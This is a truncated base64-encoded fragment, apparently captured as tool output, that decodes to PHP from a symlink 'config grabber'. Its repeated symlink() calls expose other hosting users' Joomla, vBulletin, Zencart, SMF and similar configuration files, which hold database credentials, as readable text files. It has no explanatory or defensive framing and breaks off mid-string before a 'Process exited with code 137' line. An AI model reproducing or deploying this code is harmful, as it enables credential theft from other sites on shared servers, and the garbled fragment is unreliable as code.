YS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaW
Process exited with code 137.